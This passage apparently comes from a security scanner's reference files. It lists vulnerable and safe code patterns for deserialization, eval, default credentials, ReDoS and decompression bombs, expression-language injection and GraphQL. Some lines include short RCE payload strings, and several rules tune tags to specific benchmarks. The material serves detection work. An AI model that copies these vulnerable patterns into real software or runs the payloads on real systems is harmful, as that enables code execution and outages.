- **RISK**: `Image.open(url)` via `io.BytesIO(requests.get(url).content)` — SSRF + image attack chain

### Werkzeug Debugger — RCE Exposure
- **VULN**: `app.run(debug=True)` — Werkzeug interactive debugger accessible in production
- **VULN**: `FLASK_DEBUG=1` or `FLASK_ENV=development` without host restriction
- **VULN**: `USE_DEBUGGER = True` in Flask config
- **SAFE**: `app.run(debug=os.environ.get('FLASK_DEBUG', 'False') == 'True')`

### Django ALLOWED_HOSTS
- **VULN**: `ALLOWED_HOSTS = ['*']` — allows Host header injection, cache poisoning
- **VULN**: `ALLOWED_HOSTS = []` in production — may fall back to wildcard in some configurations
- **SAFE**: `ALLOWED_HOSTS = ['example.com', 'www.example.com']`

### Jinja2 Sandbox Escape
- **VULN**: `Environment(undefined=Undefined)` with `from_string(user_template)` — see ssti.md
- **VULN**: `jinja2.Template(user_input).render()` — template constructed directly from user input
- **SAFE**: `Environment(sandbox=True)` + `from_string()` — SandboxedEnvironment for user templates

### requests — SSRF via Open Redirect
- **VULN**: `requests.get(user_url, allow_redirects=True)` — follows redirects to internal services
- **SAFE**: `requests.get(url, allow_redirects=False)` + URL allowlist validation

### Python pickle
- **VULN**: `pickle.loads(data)` where `data` originates from an HTTP request, file upload, Redis, or message queue
- **VULN**: `pickle.loads(base64.b64decode(request.cookies['session']))` — cookie-based pickle RCE
- **Impact**: `pickle.loads` on attacker-controlled data = arbitrary code execution

---

## JavaScript Source Detection Rules

### eval / Function constructor — RCE
- **VULN**: `eval(req.body.code)` — direct eval of request body
- **VULN**: `eval(req.query.expr)` — eval of query parameter
- **VULN**: `new Function(req.body.code)()` — Function constructor from user input
- **VULN**: `new Function('return ' + userInput)()` — expression evaluator
- **SAFE**: `eval()` only with static strings (no user input in argument)

### node-serialize — RCE via IIFE
- **VULN**: `require('node-serialize').unserialize(req.body.data)` — IIFE in serialized object executes on deserialization
- **VULN**: `serialize.unserialize(userInput)` from `node-serialize` package
- **Pattern**: Any use of `node-serialize`'s `unserialize()` with external data

### vm module — Sandbox Escape
- **VULN**: `vm.runInNewContext(userCode)` — Node.js vm module is NOT a security sandbox
- **VULN**: `vm.runInThisContext(userCode)` — executes in the current context
- **Pattern**: `require('vm')` + user-controlled code string

### Lodash — Prototype Pollution
- **VULN**: `_.merge(target, req.body)` — lodash merge with an untrusted deep object
- **VULN**: `_.set(obj, req.body.key, req.body.value)` — arbitrary property path sourced from user input
- **SAFE**: Schema validation before merge; `Object.freeze(Object.prototype)`

---

## PHP Source Detection Rules

### unserialize — PHP Object Injection
- **VULN**: `unserialize($_GET['data'])` — PHP object injection leading to POP chain RCE
- **VULN**: `unserialize($_POST['object'])` — POST body deserialized
- **VULN**: `unserialize($_COOKIE['user'])` — cookie value deserialized
- **VULN**: `unserialize(base64_decode($input))` — encoded but equally dangerous
- **Impact**: PHP POP (Property-Oriented Programming) chains can achieve RCE, SSRF, arbitrary file write
- **SAFE**: `json_decode($_GET['data'])` — JSON does not instantiate PHP objects

### eval — Code Injection
- **VULN**: `eval($_POST['code'])` — direct eval of POST data
- **VULN**: `eval(base64_decode($_GET['payload']))` — encoded eval
- **VULN**: `assert($_GET['expr'])` — PHP assert with a string argument is equivalent to eval (PHP < 8)
- **SAFE**: `eval()` only with fully static strings

### preg_replace with /e modifier (historical)
- **VULN**: `preg_replace('/' . $userPattern . '/e', $replacement, $subject)` — /e modifier executes replacement as PHP (PHP < 7.0)
- **Note**: /e modifier removed in PHP 7.0; flag when encountered in legacy codebases

### include/require with user input (RFI)
- **VULN**: `include($_GET['page'])` when `allow_url_include = On` — Remote File Inclusion = RCE
- **VULN**: `require($_POST['module'] . '.php')` — local or remote file inclusion
- See also: path_traversal_lfi_rfi.md
- For `JavaSecLab` modules under `components/` (`fastjson`, `jackson`, `xstream`, `shiro`, `log4j2`), preserve project tag `component_vulnerability` when the route exists, even if the exploit primitive could also be labeled `jndi_injection` or `insecure_deserialization`.
- In `vulhub`, prefer the concrete benchmark tag exposed by the selected sample (`sql_injection`, `spel_injection`, `insecure_deserialization`, and similar) and use `component_vulnerability` only when the ground truth explicitly groups the sample by vulnerable component family rather than exploit primitive.
- In benchmark mode, when source review already confirms a dedicated project module or stable public taxonomy for the vulnerability class, preserve the exact benchmark tag in later rounds instead of re-collapsing it into a broader sink label merely because another exploit primitive also matches.
- In `verademo`, request-controlled class selection such as `Class.forName("com.veracode.verademo.commands." + ucfirst(command) + "Command")` should preserve `unsafe_reflection`, not only downstream `rce` or `privilege_escalation`.
- If untrusted input reaches `String.format(userControlledTemplate, ...)`, `printf(userControlledTemplate, ...)`, or a logger sink like `logger.info(tainted)` / `logger.error(tainted)` in a benchmark that splits those classes, preserve `format_string` or `log_injection` instead of collapsing into generic disclosure.
- FALSE POSITIVE guard: do not emit `privilege_escalation` from reflective command dispatch alone unless the code also shows a distinct role, ownership, or privilege check that the attacker can bypass.

## references/default_credentials.md

---
name: default_credentials
description: Detect hardcoded or default credentials used for authentication, database connections, or secret keys in source code and configuration files.
---

# Default / Hardcoded Credentials

Hardcoded credentials are secrets — passwords, API keys, signing keys — embedded directly in source code, configuration files, or connection strings. They represent a critical risk: they are committed to version control, visible to every person with repository access, and cannot be rotated without a code change and a new deployment.

## Vulnerable Conditions

A true positive requires **both** of the following:
1. A hardcoded value that is a recognizable credential — a password, secret key, token, or connection string carrying an embedded password.
2. The value is used within an **authentication-relevant execution path** — a database connection, session signing operation, login comparison, or API call.

## Safe Patterns

- Placeholder strings: `<YOUR_PASSWORD_HERE>`, `${DB_PASSWORD}`, `%(password)s`, `{password}` — these are template slots awaiting substitution, not real secrets.
- Empty strings: `password = ""` — no credential is present.
- Test/mock files: code inside `tests/`, `test_*.py`, `*_test.go`, `__mocks__/` — carries lower risk but should still be noted.
- Code comments that describe what a credential should look like without supplying one.

## Common Vulnerable Values

`admin`, `password`, `123456`, `root`, `changeme`, `secret`, `test`, `demo`, `letmein`, `qwerty`

---

## Python Source Detection Rules

### Direct assignment
- **VULN**: `password = "admin"` — literal credential assigned to password variable
- **VULN**: `SECRET_KEY = "changeme"` — Flask/Django secret key hardcoded
- **VULN**: `app.secret_key = 'hardcoded_secret'` — Flask session signing key
- **VULN**: `DJANGO_SECRET_KEY = "my-secret-key-12345"` — Django settings
- **VULN**: `API_KEY = "sk-abc123..."` — hardcoded API key

### Database connection strings
- **VULN**: `mysql+pymysql://root:password@localhost/db` — SQLAlchemy URI with credentials
- **VULN**: `postgresql://admin:1234@db.internal/mydb` — PostgreSQL URI
- **VULN**: `mongodb://admin:password@host:27017/db` — MongoDB URI
- **VULN**: `redis://:password@localhost:6379` — Redis with password

### Config / environment patterns
- **VULN**: `DB_PASSWORD = "root"` in Python config file (not read from env)
- **VULN**: `ADMIN_PASSWORD = "admin123"` assigned as constant
- **SAFE**: `SECRET_KEY = os.environ.get('SECRET_KEY')` — read from environment
- **SAFE**: `password = os.getenv('DB_PASSWORD')` — from environment

### .env / config files (text patterns)
- **VULN**: `DB_PASSWORD=root` in `.env` or `config.ini`
- **VULN**: `ADMIN_PASSWORD=admin` in `.env`
- **SAFE**: `DB_PASSWORD=` (empty) — no value set

---

## JavaScript Source Detection Rules

### Direct object / variable assignment
- **VULN**: `password: 'admin'` in config object
- **VULN**: `const SECRET = 'hardcoded_value'` used in JWT signing or session
- **VULN**: `const dbUrl = 'mongodb://admin:password@localhost/db'`
- **VULN**: `mongoose.connect('mongodb://root:pass@host/db')` — inline credentials

### Environment variable bypass
- **VULN**: `const apiKey = 'sk-abc123'` — no `process.env` lookup
- **SAFE**: `const apiKey = process.env.API_KEY` — from environment

### JWT / session secrets
- **VULN**: `jwt.sign(payload, 'my_jwt_secret')` — hardcoded signing secret
- **VULN**: `app.use(session({ secret: 'keyboard cat' }))` — Express session secret

---

## PHP Source Detection Rules

### Variable assignment
- **VULN**: `$password = "admin123"` — hardcoded password variable
- **VULN**: `$db_pass = "root"` — DB password hardcoded
- **VULN**: `define('DB_PASSWORD', 'root')` — constant with credential
- **VULN**: `define('SECRET_KEY', 'mysecret')` — hardcoded secret constant

### Connection functions
- **VULN**: `mysqli_connect('localhost', 'root', 'password', 'db')` — inline credentials
- **VULN**: `new PDO('mysql:host=localhost;dbname=app', 'root', '1234')` — PDO with password
- **SAFE**: `new PDO($dsn, $_ENV['DB_USER'], $_ENV['DB_PASS'])` — from environment

### WordPress / CMS patterns
- **VULN**: `define('DB_PASSWORD', 'hardcoded_pass')` in `wp-config.php`
- **VULN**: `define('AUTH_KEY', 'put your unique phrase here')` — default placeholder (low risk) vs actual value (high risk)

## Additional Source Patterns

### Application Init / Seed Scripts (any language)
- **VULN**: `CommandLineRunner` / `@PostConstruct` / `before_first_request` creating admin user with hardcoded password
- **VULN**: `INSERT INTO users` with plaintext password or predictable hash in seed/fixture SQL
- **VULN**: Fallback to hardcoded default when env var is not set: `process.env.ADMIN_PASSWORD || 'default_password'`

### Infrastructure Files
- **VULN**: Hardcoded credentials in `docker-compose.yml` `environment:` section that are used by the application login path
- **VULN**: Credentials in `.env` files (`ADMIN_PASSWORD=admin`, `MYSQL_ROOT_PASSWORD=root`)
- **VULN**: Credentials in Makefile targets used for application setup

## TRUE POSITIVE Rules for Default Credentials

- Hardcoded username/password pair used by a REACHABLE login endpoint → **CONFIRM**
- `INSERT INTO users` with plaintext password in seed SQL where those accounts are accessible via a login endpoint → **CONFIRM**
- `CommandLineRunner` / `@PostConstruct` / `before_first_request` creating admin user with hardcoded password reachable via login → **CONFIRM**
- Application falls back to hardcoded default when env var is not set and the credential gates a login path → **CONFIRM**

## FALSE POSITIVE Rules

- Credentials in `.env.example` only (template file, not `.env`) AND no corresponding `.env` file exists AND no fallback in code — **NOT a finding** if the app requires the operator to set real credentials
- Credentials used only for local dev that are clearly not reachable (e.g., CI-only fixture with `if os.getenv('CI'):`) — lower confidence
- Password hashing with bcrypt/argon2/scrypt of a seed password — the hash itself is not a default credential vulnerability UNLESS the seed password is trivially guessable (admin/admin, test/test)
- Do NOT emit `default_credentials` for database connection credentials in application config files (application.yml, application.properties, docker-compose.yml) — these are infrastructure credentials, not application login defaults. Tag as `information_disclosure` or `weak_crypto` if appropriate.
- Do NOT emit for test data, seed data, or demo account setup in database initialization scripts UNLESS those accounts are accessible through a reachable production login endpoint.
- Do NOT emit for hardcoded secrets used in JWT signing, encryption keys, or API keys — these should be tagged as `weak_crypto` or `information_disclosure` instead.
- Only emit when there is a REACHABLE authentication endpoint that accepts a hardcoded username/password pair defined in the application code.

## references/denial_of_service.md

---
name: denial_of_service
description: Denial of Service detection — vulnerable code patterns for ReDoS, XML bomb, Zip bomb, resource exhaustion, unbounded operations, and missing rate/size limits
---

# Denial of Service (DoS)

DoS vulnerabilities occur when user-controlled input can trigger unbounded computation, memory allocation, or I/O operations. This includes algorithmic complexity attacks (ReDoS), decompression bombs, XML entity expansion, unbounded uploads, catastrophic regex backtracking, and missing pagination/rate limits.

## CWE Classification

- **CWE-400**: Uncontrolled Resource Consumption
- **CWE-770**: Allocation of Resources Without Limits or Throttling
- **CWE-1333**: Inefficient Regular Expression Complexity (ReDoS)
- **CWE-776**: Improper Restriction of Recursive Entity References in DTDs (Billion Laughs)

## Vulnerable Patterns

### ReDoS (Regular Expression Denial of Service)

**Dangerous regex patterns** — catastrophic backtracking when applied to attacker-controlled input:

```java
// VULNERABLE: Polynomial/exponential backtracking regex on user input
String input = request.getParameter("email");
if (input.matches("^(a+)+$")) { ... }          // exponential backtracking
if (input.matches("([a-z]+)*@[a-z]+\\.com")) { ... }  // nested quantifiers
if (input.matches("(a|aa)*b")) { ... }         // alternation with overlap

// VULNERABLE: Java Pattern.compile on user-provided pattern string
String userPattern = request.getParameter("pattern");
Pattern p = Pattern.compile(userPattern);        // attacker controls the regex
Matcher m = p.matcher(subject);
m.matches();  // attacker can supply catastrophic pattern
```

**ReDoS-prone structures** (flag any of these applied to unbounded user input):
- Nested quantifiers: `(a+)+`, `(a*)*`, `(a|a?)+`
- Alternation with overlap: `(x|xx)*`, `(a|ab)+`
- Backtracking-heavy lookahead: `(?=.*a)(?=.*b).*`
- User-supplied regex patterns evaluated server-side

```python
# VULNERABLE Python: user-controlled regex
import re
pattern = request.args.get('filter')
re.search(pattern, subject)    # attacker can supply catastrophic regex

# VULNERABLE: complex regex on user-controlled long string
if re.match(r'^(\w+\s?)*$', user_input):   # exponential on " " at end
```

```js
// VULNERABLE Node.js: user input as regex pattern
const pattern = new RegExp(req.query.pattern);
pattern.test(subject);

// VULNERABLE: built-in dangerous regex on user string
/^(a+)+$/.test(req.body.input);
```

### XML Bomb / Entity Expansion

```java
// VULNERABLE: DocumentBuilderFactory with entity expansion (billion laughs)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// No setExpandEntityReferences(false) or setFeature(...)
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(userXmlStream);
// Attacker sends billion-laughs payload → memory exhaustion

// VULN indicator: DocumentBuilderFactory created WITHOUT:
//   dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
//   OR dbf.setExpandEntityReferences(false)
```

```python
# VULNERABLE: lxml without entity limits
from lxml import etree
tree = etree.parse(user_xml_source)   # no XMLParser with resolve_entities=False
# billion laughs can exhaust memory
```

### Zip Bomb / Decompression Bomb

```java
// VULNERABLE: unzip without size limit
ZipInputStream zis = new ZipInputStream(request.getInputStream());
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
    byte[] buffer = new byte[1024];
    // No check on entry.getSize() or total extracted bytes
    while (zis.read(buffer) != -1) { /* write to disk */ }
}
// Attacker sends 42.zip (42KB zip → 4.5PB decompressed) → disk/memory exhaustion

// SAFE: enforce uncompressed size limit
long totalSize = 0;
while ((entry = zis.getNextEntry()) != null) {
    totalSize += entry.getSize();
    if (totalSize > MAX_DECOMPRESSED_BYTES) throw new IOException("Zip bomb detected");
}
```

```python
# VULNERABLE: tarfile extraction without size check
import tarfile
with tarfile.open(user_file) as tar:
    tar.extractall(path=extract_dir)    # no size limit → decompression bomb

# SAFE: limit member sizes
for member in tar.getmembers():
    if member.size > MAX_FILE_SIZE:
        raise ValueError("File too large")
```

### Unbounded File Upload

```java
// VULNERABLE: no content-length or size limit on upload
@PostMapping("/upload")
public ResponseEntity<?> upload(@RequestParam MultipartFile file) {
    // No file size check — attacker uploads multi-GB file
    file.transferTo(new File(UPLOAD_DIR + file.getOriginalFilename()));
}

// VULNERABLE: Spring missing max-file-size config
// application.properties has no: spring.servlet.multipart.max-file-size=10MB

// SAFE:
if (file.getSize() > MAX_UPLOAD_BYTES) {
    throw new FileSizeLimitExceededException(...);
}
```

```python
# VULNERABLE: Flask without file size enforcement
@app.route('/upload', methods=['POST'])
def upload():
    f = request.files['file']
    f.save(os.path.join(UPLOAD_FOLDER, f.filename))
    # No check on f.content_length or file.tell()

# SAFE: enforce MAX_CONTENT_LENGTH
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024  # 16 MB
```

### Missing Pagination / Unbounded DB Query

```java
// VULNERABLE: returns entire table without limit
@GetMapping("/users")
public List<User> getAllUsers() {
    return userRepository.findAll();    // no page/limit — 10M rows crashes JVM heap
}

// VULNERABLE: user-controlled page size with no upper bound
int pageSize = Integer.parseInt(request.getParameter("size"));
return userRepository.findAll(PageRequest.of(page, pageSize));  // size=2147483647

// SAFE:
int pageSize = Math.min(Integer.parseInt(request.getParameter("size", "20")), 100);
```

### Missing Rate Limiting

```java
// VULNERABLE: no rate limiting on expensive endpoint
@PostMapping("/search")
public List<Result> search(@RequestBody SearchQuery query) {
    return searchService.fullTextSearch(query);  // unbounded, no throttle
}

// VULNERABLE: no brute-force protection on auth endpoint
@PostMapping("/login")
public ResponseEntity<?> login(@RequestBody LoginRequest req) {
    // No attempt counter, no lockout, no CAPTCHA
    return authService.authenticate(req.getUsername(), req.getPassword());
}
```

### Hash Collision DoS (HashDoS)

```java
// VULNERABLE: Java HashMap with user-controlled keys (pre-Java 8)
// Attacker crafts keys with same hashCode() → O(n²) insertion
Map<String, String> params = new HashMap<>();
for (String key : request.getParameterNames()) {
    params.put(key, request.getParameter(key));  // vulnerable in Java < 8 without RANDOMHASHSEED
}

// VULNERABLE: PHP hash tables (CVE-2011-4885 style)
// parse_str() or $_POST with many colliding parameter names
```

### CPU-Intensive Operations Without Limits

```python
# VULNERABLE: user-controlled iteration count in crypto/hash
rounds = int(request.args.get('rounds', 12))
# Attacker sends rounds=31 → bcrypt.gensalt(rounds=31) takes minutes per hash
# bcrypt rounds is a log2 factor (2^rounds iterations); values above 20 cause severe CPU exhaustion
bcrypt.hashpw(password, bcrypt.gensalt(rounds=rounds))

# VULNERABLE: user controls sleep/wait duration
time.sleep(float(request.args.get('delay', 0)))
```

```java
// VULNERABLE: user-controlled thread pool or recursion depth
int depth = Integer.parseInt(request.getParameter("depth"));
recursiveCompute(data, depth);   // no max depth → StackOverflowError or OOM
```

## Detection Rules

### TRUE POSITIVE

- `Pattern.compile(userInput)` — user-controlled regex applied server-side → **CONFIRM** (ReDoS risk, unconstrained pattern complexity)
- `ZipInputStream` extraction with no total-size limit on user-uploaded files → **CONFIRM**
- `DocumentBuilderFactory` without `disallow-doctype-decl` feature processing user XML → **CONFIRM** (billion laughs possible)
- DB query / `findAll()` with user-controlled unbounded page size (no upper bound enforcement) → **CONFIRM**
- Auth endpoint with no rate limiting or attempt counter → **CONFIRM** (enables brute force DoS of account lockout)
- `tarfile.extractall()` / `ZipFile.extractall()` without member size validation → **CONFIRM**

### FALSE POSITIVE

- Regex patterns that are fully hardcoded (not user-supplied) — only flag if the *pattern itself* is catastrophic AND the *subject* is unbounded user input
- File extraction with documented size limits enforced before write
- Pagination enforced server-side with a hardcoded maximum page size
- Do NOT emit `denial_of_service` merely because an endpoint lacks rate limiting or size limits — this is a defense-in-depth gap, not a confirmed DoS vulnerability. Require EXPLICIT evidence of unbounded resource consumption (e.g., user-controlled allocation size, recursive processing, entity expansion).
- Do NOT emit `denial_of_service` for file upload size limits handled by the framework default (e.g., Spring Boot's default 1MB multipart max) unless explicitly overridden to unlimited.
- Prefer more specific tags when applicable: `xxe` for XML bomb, `brute_force` for auth endpoint flooding, `race_conditions` for thread exhaustion.

## Severity

| Pattern | Severity |
|---------|----------|
| XML entity bomb (billion laughs) without entity limit | High |
| ReDoS: user-controlled regex pattern server-side | High |
| Zip/Tar decompression bomb without size limit | High |
| Unbounded file upload (no size limit) | Medium |
| Missing pagination on bulk data endpoints | Medium |
| Missing rate limiting on auth/expensive endpoints | Medium |
| User-controlled hash iterations (bcrypt rounds) | Medium |

## references/expression_language_injection.md

---
name: expression_language_injection
description: Expression Language injection detection for OGNL, SpEL, MVEL, EL, Groovy — vulnerable code patterns where user input reaches EL evaluation sinks
---

# Expression Language Injection

> **Precedence note**: This file is the primary reference for all expression language injection vulnerabilities (SpEL, OGNL, MVEL, Jakarta EL, Groovy). When an EL injection finding overlaps with content in `rce.md` (which also covers EL/SpEL/OGNL sinks), the detection rules and tag guidance in THIS file take precedence. Use `rce.md` only for EL-related content that is not covered here (e.g., EL-to-command-chain classification).

EL injection occurs when user-controlled input is passed into an expression language evaluator without sanitization, allowing arbitrary code execution. This covers OGNL (Struts2), SpEL (Spring), MVEL, Jakarta EL, Groovy `GroovyShell`, and similar dynamic evaluation APIs.

## CWE Classification

- **CWE-94**: Improper Control of Generation of Code (Code Injection)
- **CWE-917**: Improper Neutralization of Special Elements Used in an Expression Language Statement

## Source → Sink Pattern

**Sources**: `request.getParameter()`, `@RequestParam`, `@PathVariable`, `@RequestBody`, HTTP headers, cookies

**Sinks**:
- OGNL: `Ognl.getValue(userInput, context, root)`
- SpEL: `parser.parseExpression(userInput).getValue(...)`
- MVEL: `MVEL.eval(userInput, vars)`
- EL: `ELProcessor.eval(userInput)`, `ExpressionFactory.createValueExpression(ctx, userInput, ...)`
- Groovy: `new GroovyShell().evaluate(userInput)`, `Eval.me(userInput)`
- Scripting: `ScriptEngine.eval(userInput)`, `new ScriptEngineManager().getEngineByName("groovy").eval(userInput)`

## Vulnerable Code Patterns

### OGNL (Struts2 / Apache Commons OGNL)

```java
// VULNERABLE: user input evaluated as OGNL expression
String expr = request.getParameter("expression");
Object result = Ognl.getValue(expr, context, root);

// VULNERABLE: Struts2 tag with user-controlled value attribute
// In JSP: <s:property value="%{request.getParameter('name')}"/>
// OGNL evaluation of request params via ValueStack
```

**VULN indicator**: `Ognl.getValue(...)` or `Ognl.parseExpression(...)` where the expression string is derived from HTTP input.

**Struts2 OGNL RCE condition**:
- `struts2-core` present in `pom.xml` at vulnerable version
- AND `struts.xml` contains `<action>` mapping that reaches the vulnerable code path
- Without both conditions, do NOT flag as high-confidence TP

### SpEL (Spring Expression Language)

```java
// VULNERABLE: user input as SpEL expression
String input = request.getParameter("query");
ExpressionParser parser = new SpelExpressionParser();
Expression expr = parser.parseExpression(input);  // RCE if input = "T(Runtime).getRuntime().exec('id')"
Object result = expr.getValue();

// VULNERABLE: SpEL in @Value annotation with user-controlled property
@Value("#{systemProperties['user.home'] + '/' + userInput}")

// VULNERABLE: SpEL template with user input
TemplateParserContext ctx = new TemplateParserContext();
Expression expr = parser.parseExpression(userInput, ctx);

// SAFE: SpEL with SimpleEvaluationContext (no method invocations)
EvaluationContext ctx = SimpleEvaluationContext.forReadOnlyDataBinding().build();
parser.parseExpression(input).getValue(ctx);
```

**VULN indicator**: `SpelExpressionParser` + `parseExpression(userInput)` with `StandardEvaluationContext` (default) or no context restriction.

**FALSE POSITIVE**: `SimpleEvaluationContext` blocks method invocations and type access — NOT exploitable for RCE.

### MVEL

```java
// VULNERABLE: MVEL evaluates user input directly
String userExpr = request.getParameter("filter");
Object result = MVEL.eval(userExpr, vars);          // arbitrary Java execution

// VULNERABLE: MVEL.executeExpression(compiledExpr, vars) where compiledExpr built from user input
Serializable compiled = MVEL.compileExpression(request.getParameter("expr"));
MVEL.executeExpression(compiled, context);
```

### Jakarta EE / JSF EL

```java
// VULNERABLE: user input embedded in EL expression string
String name = request.getParameter("name");
FacesContext fc = FacesContext.getCurrentInstance();
ELContext elCtx = fc.getELContext();
ExpressionFactory ef = fc.getApplication().getExpressionFactory();
ValueExpression ve = ef.createValueExpression(elCtx, "${" + name + "}", Object.class);
// If name = "facesContext.externalContext.request" etc — information disclosure
// If name = "''['class'].forName('java.lang.Runtime')" — RCE in some EL implementations

// VULNERABLE: JSP EL with unescaped user input in template
// <%-- JSP: user data rendered as: ${param.name} in EL context --%>
```

### Groovy Script Execution

```java
// VULNERABLE: user input executed as Groovy script
String script = request.getParameter("script");
GroovyShell shell = new GroovyShell();
Object result = shell.evaluate(script);             // full RCE

// VULNERABLE: ScriptEngine with Groovy
ScriptEngine engine = new ScriptEngineManager().getEngineByName("groovy");
engine.eval(request.getParameter("code"));

// VULNERABLE: Groovy's Eval.me()
Object val = Eval.me(request.getParameter("expr"));
```

### Thymeleaf SSTI / SpEL context

```java
// VULNERABLE: Thymeleaf template with user-controlled fragment selector
// URL: /__/fragments/section :: (${T(java.lang.Runtime).getRuntime().exec('id')})
// When controller passes user input directly as fragment expression:
String template = "fragments/" + request.getParameter("page");
return template;  // if Thymeleaf processes the path as a fragment expression, SSTI possible
```

## Java Source Detection Rules

### TRUE POSITIVE

- `SpelExpressionParser().parseExpression(userInput)` with default `StandardEvaluationContext` or no context → **CONFIRM** (RCE possible via `T(java.lang.Runtime)`)
- `Ognl.getValue(userInput, ...)` where `userInput` is HTTP request data → **CONFIRM**
- `MVEL.eval(userInput, ...)` where `userInput` is HTTP request data → **CONFIRM**
- `GroovyShell().evaluate(userInput)` or `ScriptEngine.eval(userInput)` → **CONFIRM** (full RCE)
- `ELProcessor.eval(userInput)` where EL implementation supports method invocations → **CONFIRM**

### FALSE POSITIVE

- `SimpleEvaluationContext` used with SpEL — blocks `T(...)` type references and method invocations
- SpEL used only with property paths on trusted bean objects with no user-controlled expression string
- OGNL in Struts2 param binding where no version vulnerability applies and OGNL sandbox is in effect (Struts >= 2.5.31 with `struts.ognl.excludedClasses`)
- EL in JSP rendering where user data is passed as a value binding argument (the *value*, not the *expression itself*)

## PHP/Python/Node.js EL-Equivalent Patterns

### PHP

```php
// VULNERABLE: eval() with user input
eval($_GET['code']);
eval('$result = ' . $_POST['expr'] . ';');

// VULNERABLE: create_function() (deprecated but still present)
$fn = create_function('', $_GET['body']);
$fn();

// VULNERABLE: preg_replace with /e modifier (PHP < 7.0)
preg_replace('/' . $_GET['pattern'] . '/e', $_GET['replacement'], $subject);
```

### Python

```python
# VULNERABLE: eval/exec with user input
result = eval(request.args['expr'])
exec(request.form['code'])

# VULNERABLE: Jinja2 render with user-controlled template string
from jinja2 import Template
Template(user_input).render()   # SSTI — should use Environment.from_string on sandboxed env
```

### Node.js

```js
// VULNERABLE: vm.runInThisContext with user input
const vm = require('vm');
vm.runInThisContext(req.body.code);     // full access to Node globals

// VULNERABLE: eval() in request handler
app.get('/calc', (req, res) => { res.send(eval(req.query.expr)); });

// VULNERABLE: Function constructor
const fn = new Function(req.body.code);
fn();
```

## Severity

| Pattern | Severity |
|---------|----------|
| GroovyShell/ScriptEngine eval with user input | Critical |
| SpEL with StandardEvaluationContext | Critical |
| OGNL eval with user input | Critical |
| MVEL eval with user input | Critical |
| EL eval in JEE with method support | High |
| PHP eval() with user input | Critical |
| Python eval()/exec() with user input | Critical |
| Thymeleaf fragment expression injection | High |

## references/graphql_injection.md

---
name: graphql_injection
description: Detect GraphQL security issues including introspection exposure, SQL injection in resolvers, missing depth/complexity limits, and unauthenticated endpoints.
---

# GraphQL Security Issues

GraphQL APIs present a distinct attack surface that differs significantly from REST. The primary risk categories are:

1. **Introspection enabled in production** — exposes the complete schema to any caller.
2. **Injection in resolvers** — GraphQL arguments passed into SQL/NoSQL queries without parameterization.
3. **No query complexity/depth limits** — opens the door to DoS through deeply nested or batched queries.
4. **Unauthenticated GraphQL endpoint** — no auth middleware guarding the `/graphql` route.

## TRUE POSITIVE Criteria

- A resolver concatenates GraphQL arguments directly into a raw database query string.
- Introspection is active with no environment guard (`if DEBUG` / `if NODE_ENV !== 'production'`).
- The `/graphql` endpoint is reachable without any authentication or authorization middleware.

## FALSE POSITIVE Criteria

- The resolver uses parameterized queries: `db.execute("SELECT * FROM users WHERE id = ?", [args['id']])`.
- Introspection is disabled outside development environments.
- Authentication middleware is applied before the GraphQL handler.

---

## Python Source Detection Rules

### graphene / strawberry
- **VULN (SQL in resolver)**:
  ```python
  def resolve_user(root, info, id):
      return db.execute(f"SELECT * FROM users WHERE id = {id}").fetchone()
  ```
- **VULN**: `db.execute("SELECT * FROM users WHERE name = '" + args['name'] + "'")` in any resolver
- **SAFE**: `db.execute("SELECT * FROM users WHERE id = %s", (id,))` — parameterized
- **SAFE**: SQLAlchemy ORM: `User.query.filter_by(id=id).first()`

### Flask-GraphQL introspection
- **VULN**: `GraphQLView.as_view('graphql', schema=schema)` with no introspection guard
- **VULN**: `graphene.Schema(query=Query)` served at `/graphql` with no auth decorator
- **SAFE**: Introspection disabled: `GraphQLView.as_view('graphql', schema=schema, graphiql=False)` + validation rule

### No depth limit
- **VULN**: Schema served without `query_depth_limit` or `query_complexity_limit` middleware
- **Pattern**: `from graphql_server` or `from graphene_django` with no depth limit import

---

## JavaScript Source Detection Rules

### graphql-js / Apollo Server
- **VULN (SQL in resolver)**:
  ```js
  resolve: (parent, args) => db.query(`SELECT * FROM users WHERE id = ${args.id}`)
  ```
- **VULN**: Template literal or string concatenation in any resolver's database call
- **SAFE**: `db.query('SELECT * FROM users WHERE id = $1', [args.id])` — pg parameterized

### Introspection in production
- **VULN**: `new ApolloServer({ schema })` with no `introspection: false` for production
- **VULN**: Apollo Server v2: no `playground: false` for production
- **SAFE**: `introspection: process.env.NODE_ENV === 'development'`

### No depth/complexity limits
- **VULN**: Apollo Server without `validationRules: [depthLimit(5)]` or similar
- **Pattern**: Missing `graphql-depth-limit` or `graphql-query-complexity` imports

### Unauthenticated endpoint
- **VULN**: `app.use('/graphql', graphqlHTTP({ schema }))` — no auth middleware before graphqlHTTP
- **SAFE**: `app.use('/graphql', authenticate, graphqlHTTP({ schema }))`

---

## PHP Source Detection Rules

### Webonyx / graphql-php
- **VULN (SQL in resolver)**:
  ```php
  'resolve' => function($root, $args) use ($db) {
      return $db->query("SELECT * FROM users WHERE id = " . $args['id']);
  }
  ```
- **VULN**: String concatenation or interpolation of GraphQL args into raw SQL queries
- **SAFE**: PDO prepared statements: `$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$args['id']])`

### Introspection
- **VULN**: `$server = new StandardServer(['schema' => $schema])` with introspection not disabled in production
- **SAFE**: Check for environment-based introspection toggle

### Unauthenticated endpoint
- **VULN**: `/graphql` route handler with no session or token authentication check before processing the query

### GraphQL Vulnerable Code Patterns (SAST Detection)

```python
# VULNERABLE: GraphQL query string built from user input (injection)
@app.route('/graphql', methods=['POST'])
def graphql_endpoint():
    query = request.json.get('query')
    result = schema.execute(query)   # user-controlled query executed directly — introspection + injection
    return jsonify(result.data)

# VULNERABLE: no depth/complexity limiting
schema = graphene.Schema(query=Query)
# Without query depth limit: attacker sends deeply nested query → DoS/resource exhaustion
```

```js
// VULNERABLE: GraphQL with introspection enabled in production
const server = new ApolloServer({
    typeDefs,
    resolvers,
    introspection: true,   // exposes full schema — should be false in production
    playground: true       // developer UI enabled in production
});

// VULNERABLE: no query complexity/depth limit
const server = new ApolloServer({
    typeDefs,
    resolvers,
    // No validationRules: [depthLimit(5), createComplexityLimitRule(1000)]
});
```

```java
// VULNERABLE: GraphQL resolver with unsanitized variable used in SQL/LDAP
@QueryMapping
public List<User> users(@Argument String filter) {
